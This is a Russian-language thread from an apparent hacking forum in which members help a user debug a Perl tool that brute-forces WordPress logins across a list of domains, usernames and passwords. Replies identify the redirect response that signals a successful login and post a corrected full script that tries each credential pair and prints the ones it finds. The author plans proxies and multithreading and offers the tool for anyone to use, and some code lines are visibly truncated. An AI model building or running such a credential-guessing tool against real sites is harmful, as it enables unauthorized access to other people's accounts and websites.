PDA

Просмотр полной версии : [Perl] Пилю велосипед. До аналога WPScan далеко...


jslby
10.07.2015, 09:19
Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот: https://gist.github.com/anonymous/4692681932d816355e73

Затык идет на чтении кода ответа - он всегда приходит 200.

Теперь немного объясню по параметрам:

-d - файл со списком доменов

-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)

-w - список паролей

-n - список имен для перебора

В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях

P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый

Шниперсон
10.07.2015, 13:22
↑ (https://antichat.live/posts/3866762/)
Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот:
https://gist.github.com/anonymous/4692681932d816355e73
Затык идет на чтении кода ответа - он всегда приходит 200.
Теперь немного объясню по параметрам:
-d - файл со списком доменов
-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)
-w - список паролей
-n - список имен для перебора
В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях
P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый


А шо не питон ? Пион по-мойму кошернее

Swat2k
10.07.2015, 14:40
jslby скрипт рабочий, правда недопиленный, только учти тебе не нужно проверять на 200 код ошибки (он будет всегда при неверном логине\пароле). При успешном логине wp-login.php вернет 301 а не 200.

ZodiaX
10.07.2015, 15:51
В перле не особо силен, но почему бы так не проверять


if($resp->is_success){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}

Swat2k
10.07.2015, 16:43
И с учетом моего комментария


if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}

jslby
10.07.2015, 18:28
↑ (https://antichat.live/posts/3866928/)
И с учетом моего комментария

if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}



Да, спасибо. Логику с редиректом понял. Но код запускается и при первом запросе в любом случае всегда отдает след: 301 Moved Permanently. В следующих возвращает страницу логина с кодом 200, даже когда я точно уверен что логин и пароль верны

b3
10.07.2015, 22:40
А где многопоточность?)

jslby
10.07.2015, 22:46
↑ (https://antichat.live/posts/3867021/)
А где многопоточность?)


Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?

jslby
10.07.2015, 22:49
↑ (https://antichat.live/posts/3866851/)
А шо не питон ? Пион по-мойму кошернее


Только хардкор))

Перл тру язык с очень гибкими возможностями. И еще он мне нравится

Swat2k
11.07.2015, 02:46
↑ (https://antichat.live/posts/3867022/)
Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?


Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.


use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);

my $cookie_jar = HTTP::Cookies->new(
file => "cookies.dat",
autosave => 1,
);

getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);

open($dfh, '){
chomp $thisDomain;

open($nfh, '){
chomp $thisName;

open($wfh, '){
chomp $thisPass;

my $ua = LWP::UserAgent->new;

$ua->cookie_jar($cookie_jar);

my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
'pwd' => $thisPass,
'wp-sumbit' => 'Log In',
'redirect_to' => "http://$thisDomain/wp-login.php",
'rememberme' => 'forever',
'testcookie' => 1});


if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}

undef $resp;

}
}
}

jslby
11.07.2015, 02:51
↑ (https://antichat.live/posts/3867083/)
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.

use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);

my $cookie_jar = HTTP::Cookies->new(
file => "cookies.dat",
autosave => 1,
);

getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);

open($dfh, '){
chomp $thisDomain;

open($nfh, '){
chomp $thisName;

open($wfh, '){
chomp $thisPass;

my $ua = LWP::UserAgent->new;

$ua->cookie_jar($cookie_jar);

my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
'pwd' => $thisPass,
'wp-sumbit' => 'Log In',
'redirect_to' => "http://$thisDomain/wp-login.php",
'rememberme' => 'forever',
'testcookie' => 1});


if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}

undef $resp;

}
}
}



Да, связка логин:пароль отслеживается. Спасибо! Но по странной причине при первой итерации в цикле так же выдает Found.

С потоками уже разобрался, сегодня выложу версию с мультипотоками

cheebeez
26.09.2015, 22:21
[DEL 24]